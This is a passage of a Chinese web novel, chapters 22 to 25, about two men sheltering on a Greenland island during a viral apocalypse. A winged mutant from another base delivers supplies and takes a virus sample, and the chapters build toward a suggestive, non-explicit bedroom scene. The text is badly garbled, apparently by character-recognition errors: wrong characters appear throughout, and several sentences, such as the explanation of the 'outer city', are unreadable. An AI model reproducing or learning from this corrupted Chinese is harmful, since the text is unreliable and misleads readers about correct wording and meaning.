太阳不再升起,无边的黑夜笼罩小岛,带来无边的寒冷与顾忌。直到漫长的冬日过去,次年春天,阳光才会再次于天际浮现。
两人站在山坡上,安静了一会儿。几分钟后,魏长川转过头,拉起他的手:“走吧。
闵疏点了点头,准备开始往山下走。
下坡路比上坡路容易,闵疏被牵着,跟在魏长川身后,竟恍然间生出一股安宁的错觉。未世似乎忽然离他们很远,在混乱的世界中,极地小岛的夜晚巨古不变,而至少这个极夜,魏长川会在他身边。
然而就在这时,走在前面的魏长川忽然停下了脚步,抬头看向天空。
闵疏也跟着停下:“哥,怎么了?"
魏长川没有说话,只是忽然松开了他的手,伸向制服内。
就在这分秒之间,闵疏忽然听到一个难以形容的声音自天际传来,
有些像是一股巨风忽然吹开了云层,又像是机翼划过夜空。声响从天际传来,闵疏拾起头,眯起眼睛,竟隐约从天空中看到了一个逐渐诉的黑影,
那黑影越来越大,闵疏渐渐睁大了眼睛,率先出现在云层微光之下的,是一双鸟类的羽翼。
下一瞬,站在他面前的魏长川猛地拿出了什么,举向天空:
“砰!”“砰!”“砰!"
三声枪响,天空中的黑影肉眼可见地闪烁了几下,偏离了原本的方向,朝他们的东南方下落。
闵疏站在魏长川身后,看到距离他们几百米处,一扇巨大的翅膀在空中扇动,所带起的气流直接将地面数尺深的积雪全部吹散开来,清理出了一个半径五米的圆圈
闵疏还没来的看清那翅膀中间的是什么东西,气急败坏的男声便穿过冰冷的空气杀道:
“士兵!你他妈是要杀了我吗?!"
22、鸟人
这时,闵疏才想起将目光转向魏长川,在看清他手上拿的东西后
立即涂吓了一跳.
魏长川举着一把手枪,枪口对准了不远处那个张着翅膀的生物:“后退。他话音落下,恼恨的男声再次响起,用英语道:“嘿、你要干什么?我告诉你、你这样是违法基地互助公约——”
“砰!"
又一声枪响,这次射在了翅膀尾端的寸许之外。
魏长川面容冷酷,重复命令:“后退。”
那人似是终于被吓退,巨大的翅膀耷拉下来,从雪地中站起,举着双手向后退:“Ok,你放松一点, 别冲动,我退就是了——"
在魏长川身后,闵疏倒吸一口凉气,捂骇然地睁大了眼睛。
借着天际微弱的光芒,他终于看清了不远处生物的原貌——那是一个长着巨大翅膀的男人,
他很高,目测大概与魏长川相似,体魄健壮,有一头金色的短发,白种人,身上穿着和魏长川形制相似、却又有些微妙不同的制服.
但无论相貌如何,闵疏的注意力几乎全都被他身后那两扇巨大的翅膀吸引了,他瞪着那两扇翅膀,眼神很难说是欣赏,几乎是努力才没有露出惊恐的神情,
那翅膀与童话中的天使翅膀大相径庭,从头到尾完全没有一点羽毛,又非常巨大,薄薄的肉皮被绷到极限,到了几乎透明的地步。
随着男人站起来的动作,翅膀张开,带动空气扇起轻风,闵疏这才看出巨翼薄透的肉皮之下支撑的是几根巨大的白骨。
闵疏:“晤。
魏长川单手举着手枪,还分出神看了他一眼:“害怕就不要看。
闵疏一只手抓着他背后的衣服,脸色有点白:“我不是害怕。
他就是有点犯恶心,就像是眼前突然出现了被拔去羽毛的鸡翅膀,还是几米宽的超级加人版,真的有点精神污染。
“这.这是什么?” 闵疏震惊地喃喃:“肯德基超人?"
魏长川:…
似乎是对他很无语,魏长川看了他一眼,随后收回目光:“他是免疫者。” 接着,他转过身,枪口抬了抬:“收起来。
闵疏登时愣住。免疫者?他看向远处的长翅膀的金发男人,想起之前魏长川说过,免疫者会产生某种基因变异,难道就是这个?
闵疏盯着那两扇巨大的骨翼,在震惊之外几乎感受到了一阵森然。
在魏长川的威胁下,金发男人不动了。虽然隔得很远,但闵疏能从他翅膀肉皮上肌肉的收缩上看出男人很憋屈,但迫于魏长川的武装压迫,他最终还是顺从了。
空气里响起令人牙酸、像是人骨互相摩擦般的咯吱声,接着,那扇巨翼折叠起来,像是收拢一把雨伞,期间薄透的肉皮互相重罍在一起,最终消失在了男人背后。
闵疏默默捂住了嘴。
如果说他刚才只是有点犯恶心,现在就是勉强控制着喉咙的肌肉才没吐出来。
远处,男人扭动肩膀,发出关节错位的响声,接着瞪向魏长川:“现在可以把枪放下了吧?
魏长川看了他一会儿,放下枪。男人显然气得不轻:“士兵,我看你是吃错药了!"他说英语的语速很快,隐约可以听出英伦口音:“你想干什么?因为你们远东基地的失误,害得我连夜飞了两百多英里赶过来,你竟然拿枪指着我——"他气急败坏地念叨着,然而随着魏长川放下举着枪的手,他警见了男人身后还有一个身影:
“你背后有人?” 他的咒骂登时一停,接着惊讶道:“这里还有幸存者?!"魏长川没说话,将闵疏往后挡了挡:“你离远点。”
这句话,几乎就坐实了他身后的是个率存的营通人这件事,瘟疫发展到这个阶段,人差不多死得七七八八了,前头数出来的都关在基地里,能在外头常的都是奇形经状的免疫者,金发男人已经许久都没在外头见过野生的率存者了:“不愧是格陵兰。” 男人夸张地张开双臂,激动地上前了一步:“北纬70度,冰雪之国,这里果然是唯一的纯净之地,赞美耶稣然而他话还没说完,魏长川就一枪射中离他鞋尖寸许的雪地:“后退。
男人怪叫了一声,接着出离地愤怒了:
“嘿一上帝啊!你能不能令静点?我直接从基地出来,一路沿着北极圈飞过来,除非病毒也长了翅膀,否则根本沾不到我身上!再说了这儿现在零下三十度,病毒传播半径最大不超过一百米,我现在离你五百米还多了!”魏长川的枪口丝毫不动。
男人无法,只能后退了一步,站到了他原来的位置。嘴里还在不服气地嘟囔,这次直接冲着人身攻击去了:“你们这些远东基地的暴君、专制者、出生到死都没有第二个表情的无聊男人,弹药充足很了不起吗?有本事病毒你也一颗子弹一颗子弹打?男人一直在碎碎念,他将翅膀收起来后,闵疏咽了口唾沫,从魏长川背后走了出来,小声问道:“他是免疫者?来干什么的?
魏长川没回头,道:“拿病毒样本。
闵疏这才恍然大悟,潜艇坏了,他还以为基地会再派一条船,没想到直接派了个会飞的免疫者来。
就在这时,远处的男人嚷嚷起来:“你们在说什么?不准悄悄说我听不懂的话!
闵疏这才想起这里有个外国友人,他骨子里还保持着热情好客的传统美德,有点不好意思地转换成英文道:
“不好意思。” 接着道:“我可以说英文。
男人似乎没想到他真的会道歉,还这么有礼貌,登时愣住了,接着语气陡然一变
“哦甜心!你真是个有礼貌的人。"
他又张开了手臂,闵疏注意到他的臂展很宽,身量似乎和魏长川不相上下:"你这样有教养的好孩子怎么会跟土兵很在一起?我告诉你,他就是个彻头物尾的怪治,一个天可救药的控制旺,你看到地的眼睛了吗?只有没有心的野兽才会有那种眼神,宝贝,你是个的明人,就是学会离这种男人远一点闵疏目瞪口呆。他英语不错,甚至还留过学,但这个金发男人显然是个话痨,他的词汇量远远不及,只能干巴巴地道:
“嗯——谢谢?
听到他这么说,男人似乎更高兴了:“宝贝,你真是个天使。闵疏真没想到这个操着一口英伦腔的外国人会这么热情,有点惊讶又有点不好意思,不知道要说什么。“你看着真年轻。”男人道:“你几岁?成年了吗?还会脸红,真可爱” 男人好像看得清他的长相似得不停发出赞美,语气带着不寻常的亢奋,仿佛一开口就停不下来:“你不如跟我一起回北美基地,那里比这儿暖和,我肯定比士兵浪漫,我们会波过一段美好的时光一
闵疏没想到他会说出这种话,还没来得及惊骇,魏长川格外冷漠的声音传来:“鸟人,少废话。
“嘿,放松,放松——” 男人立即举起手做投降状,似乎是有些无奈地耸了耸肩:“冷静点,士兵男孩,我不会再跟你的小甜心搭话了。
鸟人?闵疏捕捉到魏长川口中的单词,心想还真够形象的,他逐渐意识到这个金发男人和魏长川在互相用某种代号称呼。金发男人叫魏长川「士兵」,魏长川叫他「鸟人」。
“我们还真是合不来。” 在魏长川隔着一层寒霜的目光下,被称作鸟人的男人耸了耸肩,情绪好像冷静了点:“那说点儿正事吧。"
他抬头望向魏长川,比了个手势:
“病毒样本呢?"
魏长川看着他,半晌后,忽然拾起手,闵疏都没看清他的动作,便见远处的男人举起手臂,一把接住了试管,接着轻巧地将试管在手指间转了一圈!
“就是这个?” 他道:“蓝色的,还挺好看的。”
闵疏还没来得及注意’约会’这两个字,便见男人身后的巨再次展开,
黑夜之中,金发男人在背后呈网状张开的森森白骨间俯下身,左手按在右心上,朝他们俯下身,略微卷曲的金发随着动作垂下:
“祝两位有个愉快的夜晚。
说罢,金发男人骤然腾空,身后四、五米宽的翅膀闪动空气带来升力,将四周几百米内的积雪一层层剥离,品莹的雪花被旋风卷起,纷纷扬扬地飘散在空气中。这一场景堪称魔幻,如同忽略那光秃秃的、几乎算是精神污染的肉翅膀,金发变异者挥动着翅膀缓缓升空的这一幕仿佛电影中的天使降临.在四起的雪雾中,魏长川挡在他身前。闵疏不禁眯起眼睛,拾头望着男人升到了高空,逐渐与夜色融为一体,变成一块模糊的黑影。似乎是捕捉到了他的目光,男人带有浓浓英伦腔调的声音从天空中传来:“再见啦,可爱的亚洲男孩。
离得太远,闵疏已经看不清他的声音,可却莫名能感觉到有个目光落在了他的身上:
“你看起来不太健康,要是士兵带你回西伯利亚,记得别去基地,让他在外城找个干净点的地方把你养起来
他话音末落,魏长川的子弹便到了。
只见他在分秒之间上膛,抬起手臂,几乎没有瞄准就扣下扳机,两声枪响,远处传来怪叫,接着是翅膀高速划过空气的声音,
闵疏张大了眼睛看着茫茫夜空,极地上空大气稀薄,闪烁的银河清晰可见,那抹黑影已经不见了踪影
闵疏没想到他真会开枪,目瞪口呆,好半天才说出话:"…哥,你打人家干什么?要是受伤了怎么办?"
魏长川放下手,收起枪:“没打中。”
闵疏:“………….是吗?
可他怎么感觉,刚才好像听到了什么声音?闵疏皱着眉头回想,那声音很细小,硬要说的话,有点像是用针戳破气球的声音。
闵疏想着,忽然就想到了金发免疫者翅膀上那层薄薄的肉皮,登时浑身一凛:“哥,你肯定是打中人家了。” 闵疏转过头,拉住魏长川的衣袖:“我听到——"他话还没说完,就被魏长川抬起手臂一楼:“回去了。”闵疏被迫转过身,男人灼热的手掌按住了他的后脑,而后向下,顺带捂住了他冻地有点冰的耳朵:
“别乱听。"
23
23、物资
闵疏很肯定自己没有听错,但魏长川语气凶巴巴的,他只好闭嘴,魏长川带着他转过身,便放开了他,走在闵疏前面两步。他们继续沿着山坡朝下走,路上的积雪已经被方才翅膀掀起的风扫了个干净,倒是方便了走路,两人没一会儿就走到了刚才金发男人站着的地方。“咦?"走进了,闵疏才看见那篇呈圆形扫除积雪的空地上放着两个塑料袋子,奇怪道:“这是什么?"两个袋子就放在刚才男人站的位置上,有平常买菜用的购物袋两、三个那么大,都油了真空,开口处贴着红色封条,印着几个英文字母,看起来有点像电影里面用于装危险用品的包装袋。魏长川道:“物资。”闵疏走近,这才看清透明的塑料袋里的五颜六色的食品包装袋,几包砂糖,几盒食盐,旁边还有几个真空包装的肉类“哇。” 闵疏有些高兴,接着忽然想到了什么,抬头看向魏长川:“哥,之前你说有人会送物资来,就是他?当时他们都以为魏长川会走,闵疏记得魏长川当时就叮嘱过,让他在屋子里呆着不要出去,等人走了再去取物资。就是刚才那个人?闵疏看了魏长川一眼,心想这人不会是觉得刚才的「鸟人」性格奇怪,才不让他出门的吧?他暗暗腹讲,没说出口,然而魏长川却像是听见了他的心声一般道
“看见生人不要靠近。”他道:“病毒可以在体外存活很长时间,也不要乱摸东西。”
闵疏闻言悚然一惊,有些紧张地看向魏长川手中的塑料袋:
“那这上面会不会有?"
魏长川道:“这是基地研发的材料,病毒无法存留。
传染性、致病生拉满,能体外存活目无法预片的病毒,地称品病毒界的完全进化本,近乎完美的毒王,人类在这种病毒前几乎来手无措,成功研发这种能修道免被病毒外品的蛋白衣壳品上的材料已经是重大突波之一。可借人类的制造能力在信疫的性线下急
速下降,这种材料产量很低,基本上都供给了需要到处出任务的免疫者使用,比如魏长川身上的基地制服就由这种材料制成。“哦,是这样。” 闵疏听了,稍微松了口气。可病毒这种东西,肉眼看不见又摸不着,闵味有种被什么看不见的成动包思的感觉,浑身都不得到,据了送自己的手置,心根率好这里方圆十公里就他和魏长川两个人、小镇信格,在镇上的居民离开之后就或了名副其实物落村一座,现在看来成城点了。魏长川将两个塑料袋拎起来,两个人开始往中餐馆的方向走。进入极夜之后,太阳不再升起,只有正午时分天才会微微亮起,刚才在雪地里站了那么一会儿,天边的微光就已经消失了,天幕逐渐归于漆黑,气温开始下降,周遭起了点儿风,直往人衣领里钻。闵疏打了个抖,抬头看向魏长川:
“哥,冷。走在前面的魏长川脚步一顿,接着将两个袋子都移到左手上,回头伸出右手,牵住闵疏.两人继续往前走,离开了积雪被清空的区域,又开始深一脚浅一脚地走在积雪里。“嘶。” 闵疏一个没注意,差点踩滑,
魏长川停下,回过头看了他一眼,接着放开了他的手。闵疏愣了愣,还没来得及说什么,就见男人俯下身,道:“上来。
闵疏赶忙道:“哥,不用,我可以自己走。"
魏长川没听他的,只是重复道:“上来。
闵疏小声道:“真不用——''
闵疏话头一顿,终于不拒绝了,乖乖地趴了上去。
魏长川背起他,手上还拿着两个装满物资的袋子,却一幅毫不费力的样子,这让闵疏让感觉自己的体重在魏长川眼里估计跟一个背包差不多。
魏长川背着他走在雪地里,脚程比起牵着他的时候快了许多,又让闵疏意识到魏长川之前的步速完全是在迁就他。
闵疏:.
这下他彻底没话说了,趴在魏长川背上,装作自己是一只背包。只不过没安静多久,他就仍不住爱说话的性子,朝魏长川搭话:“哥,刚刚那个人说病毒样本得分他们一半是什么意思?"刚才的金发男人话里话外都有点和魏长川不对付的意思,还提到了北美基地,闵疏有些在意。魏长川倒也没瞒着他:“他是北美基地的免疫者,变异衍生能力是飞行。让他来取样本最快,所以他们选择了和北美基地合作,代价是样本要分他们一半。闻言,闵疏下意识地蹙了蹙眉,听出了点儿趁火打劫的意味。不过又想到,从人类存续的角度上看,谁先研究出疫苗都是好的,他也就释怀了。“他之前是哪个国家的人?我听他的口音像是英国人。" 闵疏好奇地问:"「鸟人」和「士兵」是什么?是你们的代号吗?"魏长川背着他,踏进雪地里,声音平淡,先回答了前面的问题:“不知道。"再回答后一个:“是。"闵疏点了点头,心道这代号取得真是有够直接的。他开始分析金发男人到底是哪国人:“听口音像是英国人,但是感觉他太热情了,又有点不像。” 他接着道:“离得太远了,长什么样子也看不清,但看得见头发是金色的。他说着,感叹道:“他的头发真好看,那么黑都能看见,亮亮的真的像金子一样,好漂亮。青年的声音叽叽喳喳的,像只聒噪的小鸟。魏长川一只没说话,闵疏没在意他的沉默,低头继续问:“对了哥,刚刚他说的「外城」是什么意思?"金发男人离开时说的最后一句话,虽然离得有点远,闵疏还是听了个大半,问道:"为什么他说不要去基地,要去外城?外城比基地好吗?魏长川这回彻底停下了脚步。闵疏不明所以,还在问:“哥,你怎么不走了?"
魏长川微微偏过了头,在黑暗中,闵疏看不清他的神情,只能隐约看见男人下颌利落的轮廓:
“他的脑子有病。" 他的语气不是很好:“跟你说了别听。"
虽然看不清,闵疏却莫名感觉到魏长川正在用那种威胁的眼神看他,立即怂了,赶忙道:"好,我不说了。
魏长川在原地站了一会儿,才继续往前走。
闵疏被他凶得不敢说话,安静了一会儿,身体有点僵硬,搂住魏长川的下意识地松了松。
“搂紧。” 魏长川命令道。
闵疏又是一抖,立刻收紧了手。
接下来,两人没再对话,魏长川背着他走回了中餐厅,几只狗子热情地围上来,拿鼻子去嗅两个塑料袋。魏长川拾起手将袋子举高,穿过毛茸茸的雪橇大的包围走上中餐馆门前
大门一打开,湿润的暖气便包围了两人。
魏长川低头俯身,将他放了下来。
闵疏双脚踏上地面,下意识地想要退开,却被魏长川像是脑后长了眼睛一样一把抓住。
闵疏抿了抿唇角,下意识地避开他的目光:“哥
魏长川敛下眸,抬手开始从上到下拍掉闵疏身上的雪:“生气了?"
闵疏被他这种照顾小孩子一样的动作搞得有些不好意思,小声道:“没有。”
魏长川将他拍干净,拿下青年头上的毛毡帽,又看了看他,评价道:“嘴都能挂油瓶了。
闵疏一听,下意识地放松了唇角,接着又有点委屈,抬头看了魏长川一眼,垂下头道:“".哥老是凶我。
魏长川听了,微微叹了口气,转头将帽子拿下放到一边,回过头用有些无奈的眼神看向闵疏:
“我不是凶你。"闵疏没说话,只是看了他一眼,什么意思不言而喻。魏长川似是有点好笑,又有点头疼,抬手捏了捏眉心:“很多免疫者在变异的过程中会留下后遗症,鸟人精神状况不稳定,你不用把他说的话当回事。闵疏听了,有些惊讶,原来魏长川说他脑子有病不是在乱发火,是真有其事。怪不得他觉得那个金发男人的语调里有种奇异的六奋,似乎控制不住自己想说的话,原来是后遗症。他顿了顿,问道:“那「外城」是他说出来骗人的吗?"他话音刚落,魏长川就唰地一下抬起眼,闵疏怕被他骂,吓得缩起脖子见他那怂样,魏长川想说什么也说不出口了。他顿了顿,叹了口气,终是道:"「外城」是基地以外,免疫者的聚居区。为了早中其抽里的营通人、游免四品塔营经的品、基批的定午间外4者想件入基地店》须要在指字的区域里原密至少二个日、经过全面治观后万能件入基址、许多要要活室出日务的免及者常得麻项,于很在吾基地不远的地万多建起了房属,这些完属越来越多,渐渐地成为了免疫者的聚居区,被称为外城,与深埋于地下,不见天日的基地不同,外城更接近未世前的人类城镇。所以有些时候,会有些受够了基地里集体管理的生活的普通人偷跑出基地,去「外城!生活,。“原来是这样。” 闵疏了然,但还有些疑惑:“所以普通人去外城,就是因为地方大一点?自由一些?他觉得有些奇怪,外城景需在未净化的空气之下,还是和天天都要在外头跑的免疫者住在一起,普通人住在这种地方显然感染风险是很高的,难道仅仅是因为地方大和没人管这个理由就能让这些人不顾自己的生命安全,跑去外城居住吗?
听到他的疑问,魏长川顿了顿,随后移开了目光:“自由能让人做出许多事。
闵疏想了想,觉得也是。人类对于自由的追求是一以贯之的,要是让他现在离开中餐厅,搬去地下基地,他也不愿意
可他还是隐隐觉得有什么不太对,闵疏悄悄看了眼魏长川,害怕再问他又要发火,便没再问。
“哥饿了吧,我去做饭。
他笑了笑,嘴边浮现出两颗小梨涡:
“哥想吃什么?今天有这么多物资,要做点儿好吃的才行啊。
见他笑了,魏长川眉眼间松了松,说:“都行。”“每次哥都说都行。”闵疏小声抱怨了一句,不过每次无论他做什么,魏长川都吃得很香就是了。他拿着两大袋物资进了厨房,用剪刀剪开,把东西一拿出来放好。物资里除了盐德油面粉大米等必须品外,还有土豆,胡萝卜,卷心菜,洋葱等耐储存的蔬菜,咖啡,巧克力,苏打饼干等零食,好有一些真空包装的肉类闵疏将物资全部拿出来清点了一番,发现果然是由北美基地供给的食物,这里绝大多数都是西方国家常见的食品,连油部是给的黄油,不过看得出来准备的人也是考想到了魏长川的身份,尽量地往里加了一些工洲食品,比如0网济或找到了一盒日式加里央于是愉快地决定今天晚上就吃咖喱饭了,阅防拿着真空包装价究了半天,偶是设看出里头的是什么司物的肉,不过所车是红肉,应该都差不多,他就随要床了一包,放在冰理泡出血水,再将这块纹理漂高的肉切成小块,用黄油在锅里和洋葱一起前至两面金黄,之后加水将肉体软,再依次加入十胡萝卜,一小勺番茄膏,一小块黑巧克力,和日式咖喱块,炖煮收汁,就做成了一锅浓香的牛肉咖喱。豆,除了主菜外,闵疏还拿剩下的白芝麻凉拌了个酸甜口的胡萝卜丝,再煮了个卷心菜汤,齐齐端上了桌。闵疏先尝了一口肉,发现这种肉滋味浓郁,肉质细嫩跟牛肉有点像,但好像要瘦一些“这是什么肉?” 他问魏长川。魏长川吃了一口,道:“好像是鹿肉。“原来是鹿肉,我是说怎么没见过。” 闵疏了然。未世之后,人类的工农业生产能力都受到了较大打击,为了保证肉食供给,基地的近森林里包括鹿、狍子、野免、等等物种在内的野生动物也被纳入了食物的范畴。闵际还真不知道鹿肉该怎么做,所幸炖成咖味道还不赖吃完了饭,两人照例早早洗漱好躺到了床上。极夜之中,黑暗无边无标,外头是冰天雪地,没什么事情好做。两个人上了床,其实也不是立即就要睡觉。魏长川换下军装,穿着一件闵疏的宽松款毛衣(不过在他身上是紧身的),靠在床头拿着本书在看。闵疏躺在床上,看了一眼,发现是名著《战争与和平》。他躺着睡不着,有点无聊,便朝魏长川搭话:“哥,好看吗?魏长川道:“还行。” 随后看了他一眼:“要我给你念吗?"闵疏愣了一下,接着有点脸红地道:“"不用了。魏长川点了点头,随后收回了目光。闵疏看着魏长川,觉得脑子里有些混乱。
魏长川对他很好,有些时候简直像是把他当成了生活不能自理的特殊人群,或者是小孩子来照顾,可他并没有病到那个程度,也只比魏长川小了六岁罢了。
他分不清魏长川对他的照顾到底是单纯的出于怜惜,还是真的有别的什么。
他接着床头灯暖黄的光芒看着魏长1的网脸,他微澄着浓眉,眉心一道浅浅的痕迹,服育深络,紧接着就是挺拔的鼻梁,可以说是俊美得毫天暇迹。他这个长相,说不出是年轻还是成款,甚至有些看不出年纪,就是教科书一般的俊美
闵疏盯着他看了一会儿,接着动了动,朝男人的方向挪了挪,小声地叫他:“哥.”
“嗯?”魏长川的目光没动,一只手放在他的背上:“怎么了?"闵疏抬起眼道:“今天,那位鸟人先生,好像以为我们在谈恋爱。"魏长川顿住,移过目光看他。闵疏迎着灯光对上他的视线:“你不是说基地不允许免疫者和普通人谈恋爱吗?既然这样,他为什么会那么想?魏长川垂视他,眉心处的皱褶深了些。他眉眼间距本就近,这么一蹙眉,浓黑的眉毛压在深的眼窝上,气势迫人。闵疏下意识地有点发虚,可不问清楚又有些不日心,咽了口沫,鼓起勇气道:“他那样猜,就说明还是有人谈恋爱的,不是吗?魏长川神情一顿,垂下眼,在昏暗的灯光中看见闵疏的脸。青年紧紧地裹着被子,似乎是有些害怕,但那双丹凤眼亮晶晶地看着他,又很坚定。他其实发觉了,闵疏不是不聪明,只是性格太温和,或许是由于从小有健康问题、又在孤儿院长大的缘故,他习惯察言观色,回避争端,所以很多时候不会把注意到的事情拿出来说。他也知道闵疏有一点怕他,有时他稍微语气重一点,青年就用怯生生的眼神看着他,那种看眼色的神情让魏长川说话做事都忍不住放轻些、再放轻些。但有些时候,青年又很有勇气。比如他在暴风雪夜走出山洞,呼喊他的名字,又比如现在执着地望着他的一双眼睛魏长川对上他直白的眼神,生不起气来,只得低下头,抬手掐了掐眉心:"……有规矩,就有不守规矩的人。闵疏敏锐地察觉到了他话里让步的意味,眼睫微微一动,抬眼望向魏长川:“那哥是守规矩的人,还是不守规矩的人?"
24、意外
他这话,几乎算是明示了。
之前他心里没底,委婉地试探魏长川,被男人用基地的「规定」堵了回去。然而这回阅疏看得很清楚,今天他不过是说了几句其他人的金色头发好看,魏长川就不高兴,他不信男人只是将他当成一个普通的救援对象
闵疏有些紧张地看着魏长川,不想错过男人脸上的任何一个表情。
魏长川似是没想到他竟然敢这么问,脸上露出了一瞬的诧异,然而很快脸色就沉了下来,一双沉黑的眼睛盯住闵疏.
在昏暗的灯光下,他的表情近乎严厉。
闵疏看到他眉心深刻的阴影,还是怂了。
他像只小老鼠一样缩进被窝里,作势就要往墙角缩过去:“哥,我乱问的,你就当我没说——"然而还没等他挪远哪怕半寸,魏长川就一把抓住了他的肩膀。闵疏动作骤然一顿,"味溜一’下直接被搂到了男人身边,。闵疏瞪大了眼睛,感觉自己的小腿在被子下面撞上了硬邦邦的肌肉,立即触电一般地收了回来。畏畏缩缩地抬起头,看向头顶上方注视着他的魏长川,声音都有点抖:
"…哥?"
魏长川的按着他,也不说话,深邃的眼窝内目光晦暗,看不清什么神情。
闵疏都要哭了,觉得自己像是只被老虎按在爪下的兔子。老虎拿不准是想先逗逗他,还是直接咬死。
见闵疏在柔软的被子里缩成一团的样子,魏长川忽而一挑眉,按在他肩上的手抬起一根食指,贴了贴青年软嫩的脸颊."看你这怂样。"闵疏抖了一下:“哥” 他抬眼看向魏长川,小声讨饶:“我、我肩膀疼。”
魏长川看着他,似是笑了一声,手上的力道松了些,却没有放开他。五指随着肩胛骨摸上去,扣住青年细瘦的后颈,连着后脑的头发一起按在手里。明明他的动作算得上是轻柔,闵疏却忍不住地打了个抖,觉得魏长川轻柔的动作之下仿佛在克制些什么,手指在他后颈的皮肤上摩擦,似是怜惜,又像是随时会狠狠掐他一把魏长川垂眸看着他,半响之后,低声道:“如果我不守规矩一
他话说到一半,又停住。
闵疏屏住呼吸,良久之后只见男人线条锋利的下颌收了收,没有再继续说下去,转过脸,将床头的灯熄灭了。
卧室中一下子陷入黑暗,闵疏吓了一跳,还没来得及开口,身旁便传来一阵窸窣声。接着,一条手臂搭在了他身上,浑身被灼热的体温包裏住,连两条腿都被压住。
闵疏就这么被魏长川用一种近乎镇压的方式整个抱住,听到男人在他耳边下达命令:“睡觉。”
闵疏:…
他连人带被子被裹在魏长川怀里,努力探出头,看了看墙上才指到六点的时钟,合理怀疑魏长川这是在故意逃避问题可他的勇气已经一而再再而三三而竭,很没骨气地承认这时他已经没胆子再问下去了,只好乖乖缩在男人怀里。魏长川却似乎是不受到生物钟限制,关了灯没多久,闵就听见了他悠长平稳的呼吸声什么都没问出来,闵疏有点气闷,但也没胆子说什么,只能安静如鸡地躺在床上,他到底是刚病好没多久,精力还没有完全恢复,今天又遭遇了诸多惊吓,就这样躺了一会儿,倒也睡了过去。
然而,这一觉闵疏并没能睡多久。
梦境一开始温暖而甜蜜,有了魏长川,被实里一向是暖暖的,然而过了不知多久,闵晚感觉周身的温度缓缓增高,还渐到了有些烫人的地步,他觉得很热,而且有种莫名地深动,梦境开始变得幼乱繁杂,他开始不安地在被窝里翻来翻去。
不知过了多久,闵疏在一次翻身后撞到了床头,猛地清醒了过来。
卧室里一片黑暗,闵疏的呼吸有些急促,抬手伸向额头,果然摸到了一头汗水。
好热…
闵疏皱起眉,发现身上的被子已经被他踢开,他扭头一看,发现魏长川不在身边,这时,他才注意到浴室里头正亮着光,里头正传来哗啦啦的水声。
魏长川是去洗澡了。
闵疏意识到这一点,便回过了头,觉得嗓子有点干,于是从床上坐了起来。然而他刚一动,动作就猛地僵住。他刚才还没有完全从睡眼状态里缓过神,然而此时一动,四肢的神经随之苏醒,开始忠实地反债身体各处的感言。闵疏僵项地靠在床头上,脸颊两侧速从淡粉变为绯红,他不可置信地低下头,露出了震惊的表情他…他又可以了!
天不亡我也!
闵济差点威将涕零,他真的以为自己这破身体这辈子就这样了,没想到他地居然是可以的!虽纳网及觉得自己能怎么样,可好歹他还是个男人,虽然身体不太健全,但这方面的能力还是意义重大,关乎着他没多少但是还是有一点的男性自尊心。
就在他狂喜之时,浴室的水声一停,接着,门被推开的声音响起。
闵疏一愣,抬起头,便见氙氲的水汽从浴室里飘散出来,一个高大的人影出现在门边,是魏长川洗完澡出来了闵疏脑子里’轰’地一声,这才后知后觉地感到尴尬,手忙脚乱地在魏长川走过来之前薅起被子遮住自己。当魏长川走到床前时,他堪堪将被子搭在腰上,勉强镇定了一下表情,才抬起头看向男人:
“哥你洗澡了?"
魏长川站在门边,没有回答。
卧室里没开灯,只有暖黄的微光自浴室的方向透出,照出魏长川健壮挺拔的轮廓。
闵疏眯了眯眼,看不清魏长川的表情,却有些奇怪地看了眼浴室的方向——浴室门没关,灯也没关
魏长川做事一向谨慎,都是有头有尾的,洗了澡也会将灯和门都关好,所以他不禁感到有些奇怪。
闵疏回过目光,魏长川没说话,也没动,他皱了皱眉,摸索着在黑暗中伸出手:“哥,你站着干嘛?
然而这一摸,闵疏吓了一大跳。
魏长川的手非常凉,皮肤湿冷,还没有完全擦干。闵疏先是抓住了他的手腕,接着摸索着向上,摸到了一手臂冰冷的水渍.
闵疏睁大了眼睛,诧异道:“哥,你的手怎么-
闵疏话说到一半,忽然意识到了什么,骤然收声。
魏长川去洗了冷水澡。
而这大半夜的,男人为什么要去洗冷水澡,原因不言而喻.闵疏想到晚饭咖喱里的鹿肉,骤然如触电般收回了手,两颊变得通红此时,他的眼睛逐渐适应了黑暗,骤然发现魏长川竟然没有穿上衣,只在腰间系了一条浴巾,在浴室昏黄的柔光下,胸膛到腹部的线条清晰可见,
“哥” 闵疏触电般地收回手,舌头都有点打结:“你、你这是
魏长川依日印默着,然而如果设疏的视力的好,此的地或能看可男人肉省路深的皮肤上此时工泛着红,颈如的手者上青的峰起,明除中是化不开的沉们里色,整个人都以处于一种条细的状态,然而好味看不清他的神色,自然也错过了最后一点可以觉警惕信
号的机会。
而另一边,魏长川凭借变异而来的良好夜视力,将闵疏每一点细小的神情都收入眼中。
青年似乎很尴尬,薄薄的面皮被欲*色蒸得通红,缩着肩膀靠在墙头,一只手紧紧摸着腰间的被子,似乎很怕他发现。魏长川看了他一会儿,接着抬起手,将头发朝后捋去,哂笑一声:“藏着掖着干什么?"
他的声音比往日还要低哑,带着一丝未消散的热意炸响在闵疏耳边,直接让他脊背审起一串电流,从脸到耳朵都红了个透.
魏长川大部分时候都是很正经的,甚至是严苛,闵疏没想到这人不正经起来竟然是这样。他动了动,几乎是立即感觉到了魏长川这句话的效果,呼吸也变得急促起来
在慌乱之中,闵疏感到羞耻,但随之而来的是一股强烈的不甘。
明明知道他喜欢男生,明明几个小时前还在闪烁其词,不肯将事情挑明了说,这时候又来挑逗他
闵疏觉得很热,不仅是生理上的,更是心里的。他咬了咬牙,看了眼魏长川,伸手一不做二不休地掀开了被子
“怎么?” 他红着脸,努力挺起胸膛,想摆出一副光明磊落的样子,抬眼看向魏长川:“哥要帮我吗?
25、喜欢你
瞬间,魏长川的眼神变了。
黑暗中,闵疏不一定能看得清他的样子,他却能清清楚楚地看清青年现在的模样。
闵疏被他逗出了火气,皱着眉,眼睛亮地惊人。他穿着宽松的睡衣,领口偏大,又被他自己在躁动混乱的梦境挣得有些乱,此刻伸着脖子,自锁骨向下一览无余。
闵疏并不知道他在魏长川眼中是一福怎样的模样,也看不清魏长川的目光落在了哪里,他放完很话后心跳地很厉害,几乎维持不住脸上的表情一要知道他一次恋爱都没谈过,这种程度的洞“情对于小维鸡来说难度实在是有点太大了。
